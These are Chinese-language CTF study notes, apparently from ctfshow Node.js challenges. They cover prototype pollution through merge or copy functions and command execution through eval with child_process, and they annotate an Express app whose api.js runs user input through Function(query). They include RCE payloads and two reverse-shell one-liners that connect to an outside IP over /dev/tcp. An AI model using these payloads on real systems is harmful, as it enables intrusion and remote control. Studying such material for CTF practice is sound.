attention:1.需要找到没有定义的回溯值。2.确保存在merge,copy等赋值的函数能够向上污染。3.注意回溯的情况必须是在copy或复制函数内的参数,需要多少个__proto__是根据这种复制来判断的
像一些链条是没有类似copy之类的赋值函数。可以直接通过调用的数量来判断例如 opt.output 这里就是需要两次的__proto__进行原型链污染
1.在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
所以要如果要调用/bash or /sh 的话必须要引用模块然后根据语法执行命令
/?eval=require('child_process').execSync('ls')
一个是execSync做调用
/?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
还有一个是spawnSync('ls',['参数']).stdout.toString()
注意:必须都是该大写的时候用大写
命令执行语法
return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\
return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')
2.nodejs 文件语句解析
app.js
// 导入所需模块 var createError = require('http-errors'); // 处理 HTTP 错误的模块 var express = require('express'); // Express 框架模块 var ejs = require('ejs'); // EJS 模板引擎模块 var path = require('path'); // 路径处理模块 var cookieParser = require('cookie-parser'); // 解析 Cookie 的模块 var logger = require('morgan'); // HTTP 请求日志记录模块 var session = require('express-session'); // Express 会话管理模块 var FileStore = require('session-file-store')(session); // 会话存储模块 // 导入路由模块 var indexRouter = require('./routes/index'); // 主页路由模块 var loginRouter = require('./routes/login'); // 登录路由模块 var apiRouter = require('./routes/api'); // API 路由模块 var app = express(); // 创建 Express 应用程序实例 // 会话设置 var identityKey = 'auth'; // 会话标识键名 app.use(session({ name: identityKey, // 设置会话名称 secret: 'ctfshow_session_secret', // 会话密钥,用于加密会话数据 store: new FileStore(), // 会话存储方式为文件存储 saveUninitialized: false, // 不保存未初始化的会话 resave: false, // 不强制保存会话 cookie: { maxAge: 60 * 60 * 1000 // 会话有效期,单位是毫秒 } })); // 视图引擎设置 app.set('views', path.join(__dirname, 'views')); // 设置视图文件夹路径 app.engine('html', require('ejs').__express); // 使用 EJS 模板引擎 app.set('view engine', 'html'); // 设置视图引擎为 EJS app.use(logger('dev')); // 使用日志记录中间件 app.use(express.json()); // 解析请求体中的 JSON 数据 app.use(express.urlencoded({ extended: false })); // 解析请求体中的 URL 编码数据 app.use(cookieParser()); // 使用 Cookie 解析中间件 app.use(express.static(path.join(__dirname, 'public'))); // 设置静态资源目录 app.use('/', indexRouter); // 使用主页路由 app.use('/login', loginRouter); // 使用登录路由 app.use('/api',apiRouter); // 使用 API 路由 // 捕获 404 错误并转发到错误处理程序 app.use(function(req, res, next) { next(createError(404)); }); // 错误处理程序 app.use(function(err, req, res, next) { // 设置本地变量,仅在开发环境下提供错误信息 res.locals.message = err.message; res.locals.error = req.app.get('env') === 'development' ? err : {}; // 渲染错误页面 res.status(err.status || 500); res.render('error'); }); module.exports = app; // 导出应用程序实例
api.js
//使用 Express 框架的路由文件 //在这部分代码中,首先引入了 express 模块,然后创建了一个路由对象 router。 var express = require('express'); var router = express.Router(); //引入了一个名为 utils(var utils) 的自定义工具模块。 var utils = require('../utils/common'); /* GET home page. */ //通过 router.post() 方法定义了一个 POST 请求的处理函数,路径为 '/'。 router.post('/', require('body-parser').json(),function(req, res, next) { //通过 res.type('html') 设置响应的内容类型为 HTML。 res.type('html'); //然后,通过 res.render() 方法渲染名为 'api' 的视图模板,并传递一个包含 query 属性的对象作为参数。这里使用了 Function(query) 来创建一个函数,并立即调用该函数并传递 query 作为参数。这样做可能是为了在视图模板中使用 query 变量。 res.render('api', { query: Function(query)(query)}); //函数名query,参数query }); //通过 module.exports 将 router 对象导出,以便在其他文件中引入和使用。 module.exports = router;